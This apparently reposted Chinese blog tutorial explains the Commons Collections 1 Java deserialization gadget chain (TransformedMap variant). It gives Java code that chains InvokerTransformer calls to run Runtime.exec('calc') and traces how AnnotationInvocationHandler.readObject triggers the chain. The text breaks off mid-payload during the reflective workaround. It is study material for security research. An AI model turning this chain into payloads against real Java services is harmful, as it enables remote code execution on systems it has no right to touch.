[Java反序列化]CommonsCollections1利用链学习(上)
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]CommonsCollections1利用链学习(上)相关的知识,希望对你有一定的参考价值。
前言
终于快入门了呜呜呜,开始学习CommonsCollections1
的TransformedMap
链。
环境
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
JDK
版本应该为8u71
之前。
前置知识
其实就是了解CommonsCollections
中的几个Transformer
。这几个类建议直接看着源码来学习。
Transformer
public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
Transformer
是一个接口,根据注释,transform()
方法是把输入的对象转换成某个输出对象,而且这个输入对象应该保持不变。
根据英语来翻译理解起来可能又些偏差,个人理解就是这个函数自定义输出了,后面具体分析的时候会感受到这一点。
TransformedMap
/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
根据注释,用于装饰一个Map
对象,转换它添加的对象。
直接看它的decorate()
方法:
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
是个静态方法,里面调用了类的protected
构造器。根据注释就可以理解,decorate()
方法的第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。为null
的话就意味着没有转换。传出的Map
是被修饰后的Map
。
根据:
The Map put methods and Map.Entry setValue method are affected by this class.
可以知道,使用put
还有setValue
方法的时候,对应的键或者值会作为input
参数,调用相应的Transformer
的transform()
方法,该方法返回一个新的对象。(注意这个setValue
方法,下文有用)
P神是这样解释的,我觉得比较容易理解:
看一个简单的例子即可理解:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class BasicLearn {
public static void main(String[] args) {
test1();
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
public static void test1(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
outerMap.put("key","value");
printMap(outerMap);
}
}
class KeyTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("KeyTransformer");
return "key";
}
}
class ValueTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("ValueTransformer");
return "value";
}
}
ConstantTransformer
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {
比较简单,把这个类的源码看一遍就理解了,是Transformer
接口的一个实现。
具体的转换就是,对于input
,总是返回一个相同的不变值:
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
简单的例子:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class BasicLearn {
public static void main(String[] args) {
test2();
}
public static void test2(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("feng"));
outerMap.put("key","value");
printMap(outerMap);
}
public static void printMap(Map map){
for (Object entry: map.entrySet()){
System.out.println(((Map.Entry)entry).getKey());
System.out.println(((Map.Entry)entry).getValue());
}
}
}
InvokerTransformer
看到这个类的名字就会想到反射中的方法调用,也确实是这样:
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
*
* @author Stephen Colebourne
*/
public class InvokerTransformer implements Transformer, Serializable {
具体还是看源码,利用反射执行函数:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
具体实例化或者调用getInstance
的时候需要传三个参数,联想一下反射中调用方法的流程,就知道需要哪些参数了。第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class
),第三个参数就是要传入的参数列表。
还是看例子,命令执行:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class BasicLearn {
public static void main(String[] args) {
test3();
}
public static void test3(){
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,
InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
outerMap.put("key",Runtime.getRuntime());
}
}
ChainedTransformer
最后一个需要了解的类,根据名字多少也能猜到一点。直接看这个类的注释还有构造函数就懂了:
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ChainedTransformer implements Transformer, Serializable {
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
把一个Transformer[]
当入参数传进去,利用这个数组中的Transformer
依次处理input
,而且注意这个:
The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.
相当于一种链式的传递,前一个Transformer
处理的得到的output
会当作input
给下一个Transformer
处理。
理清了这些,很容易想到一个把这些串起来的命令执行:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("feng","feng");
}
}
TransformedMap链分析
了解完前置的知识后,就可以考虑真正的反序列化链了。在上面的命令执行中,最终我们是手动的执行了put()
方法来实现了漏洞的触发。在反序列化中,我们需要找到一个可以用的类的readObject()
方法,通过这个方法最终可以触发漏洞。
这个类是sun.reflect.annotation.AnnotationInvocationHandle
:
private final Map<String, Object> memberValues;
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
在readObject
方法中,关键的这几行代码:
Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue(
前面提到了,setValue
同样可以触发我们的“回调函数”,因此可以触发漏洞。至此链也就理清了,剩下的就是构造POC的细节问题了。
Runtime的问题
在序列化的时候会报无法序列化的错误。原因就在于Runtime
类并没有实现Serializable
接口,所以无法序列化:
new ConstantTransformer(Runtime.getRuntime()),
这里P神采用了一种迂回的写法,因为Class
类是实现了Serializable
接口的,而且既然可以链式的调用方法,利用反射即可:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
以上是关于[Java反序列化]CommonsCollections1利用链学习(上)的主要内容,如果未能解决你的问题,请参考以下文章